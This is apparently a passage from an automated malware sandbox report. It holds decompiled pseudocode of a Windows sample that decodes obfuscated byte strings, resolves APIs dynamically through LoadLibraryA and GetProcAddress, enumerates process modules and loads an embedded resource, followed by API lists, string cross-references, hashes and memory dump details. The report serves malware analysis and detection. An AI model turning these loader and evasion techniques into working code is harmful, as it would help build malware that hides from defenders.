						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t394 = E004018D0(_t563 + 0x54); // executed
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, _t394);
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543); // executed
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x7414cf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022c7
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
FindCloseChangeNotification.KERNEL32(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

6, xrefs: 004020C5
0, xrefs: 00401BBD
), xrefs: 0040202E
o, xrefs: 00402097
V, xrefs: 00402038
x, xrefs: 00402088
', xrefs: 00401AF6
h, xrefs: 00401A6F
W, xrefs: 00402033
D, xrefs: 00401DFB
E, xrefs: 00401E0F
{, xrefs: 00401B4B
., xrefs: 00401B0A
W, xrefs: 004020E6
', xrefs: 00402006
., xrefs: 0040201F
_._, xrefs: 00402257
{, xrefs: 0040205B
W, xrefs: 00401B14
___, xrefs: 0040227D
V, xrefs: 00401E19
x, xrefs: 00401B78
!, xrefs: 00401B1E
o, xrefs: 00401B8D
{, xrefs: 0040211D
{, xrefs: 00401E3C
v, xrefs: 0040206A
v, xrefs: 00401E4B
W, xrefs: 00401B23
5, xrefs: 00402109
[, xrefs: 00402047
*, xrefs: 00401A1F
v, xrefs: 0040212C
!, xrefs: 0040201A
v, xrefs: 00401B5A
o, xrefs: 00402159
x, xrefs: 0040214A
[, xrefs: 00401B37
!, xrefs: 004020CF
U, xrefs: 004020F5
%, xrefs: 004020FA
4, xrefs: 00401B64
4, xrefs: 00402136
8, xrefs: 00401BA9
x, xrefs: 00401E69
:, xrefs: 00401B28
4, xrefs: 00402074
*, xrefs: 004020E1
", xrefs: 00401B0F

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 2366190142-2962942730
Opcode ID: e98a31de6350a3da295d3cbcaa615236c325d4901b13c8d2e15b3c4b40dfe3b3
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: e98a31de6350a3da295d3cbcaa615236c325d4901b13c8d2e15b3c4b40dfe3b3
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 06AF0AB8, Relevance: 1.1, Instructions: 1081COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a0429954d8d672638ef55d6bf4f7887adad882f1f768301531da85573ceac6
Instruction ID: c510558608f49ed7d39765e50c135404c7183f8cc7cd459ed3f23b23092a21b5
Opcode Fuzzy Hash: 49a0429954d8d672638ef55d6bf4f7887adad882f1f768301531da85573ceac6
Instruction Fuzzy Hash: CD92A134B00205DFDB54EFB5C894AAEB7F6EF88214F108969E9069B361DB70EC45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06AF77C0, Relevance: .6, Instructions: 620COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8a19e433ff587cbc27c524658db26558fa5ac32e5a20c55306a9a7a55546ce1
Instruction ID: 8541ba8a3c6fea8192d502da763b4502d5a0850f2b1c1764b6b3927f522a6ac9
Opcode Fuzzy Hash: e8a19e433ff587cbc27c524658db26558fa5ac32e5a20c55306a9a7a55546ce1
Instruction Fuzzy Hash: 3822AF34B103114FE755ABB4946876E76E7EFC4248F14482DE90ADB791EF38DC4A8782

Uniqueness

Uniqueness Score: -1.00%

Function 06AFC2A0, Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb774fcd84c5f18e229e715c57db6eb1f028f28dd5b9778982350e34ea6c405b
Instruction ID: 931ac1ec2b98ffbbaa86ba4971a3a637fc74a95ca238dd85380ba7b4ee681f9b
Opcode Fuzzy Hash: fb774fcd84c5f18e229e715c57db6eb1f028f28dd5b9778982350e34ea6c405b
Instruction Fuzzy Hash: 9722E134B003049FD755ABB5C468A6FBBE6EFC5214B14846AE906DB391DF34EC06C792

Uniqueness

Uniqueness Score: -1.00%

Function 06AF2568, Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d0e59bf051ea40a438f8c4a1c227dc4467cf8e0220fb7cfbc9d29b664c93d6b
Instruction ID: f6272f06d2aaa7a8bc186c1c6df4cc9eba262a22b76c5125b34658020e9a86bd
Opcode Fuzzy Hash: 2d0e59bf051ea40a438f8c4a1c227dc4467cf8e0220fb7cfbc9d29b664c93d6b
Instruction Fuzzy Hash: DBD18F34B102099FDB55EFA9D494AADB7F2FF88204B248469E905EB350DB34ED42CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06AF2AA0, Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.483477589.0000000006AF0000.00000040.00000001.sdmp, Offset: 06AF0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 064fc6750c91594372be21d20c1c96ce25ae2c39f326aae7a176ee49c6501510
Instruction ID: dfbdb98308a0bb8073594190a29d45a31a21d0c0334308465c0b3bc038cad219
Opcode Fuzzy Hash: 064fc6750c91594372be21d20c1c96ce25ae2c39f326aae7a176ee49c6501510
Instruction Fuzzy Hash: ABA1D135B102089FDB44EFF4C854AAABBFAEFC8244B108069EA059F365DB35DD45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0, Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25); // executed
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000015.00000002.459776100.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.460379750.0000000000426000.00000040.00020000.sdmp Download File
Associated: 00000015.00000002.460392013.0000000000431000.00000040.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
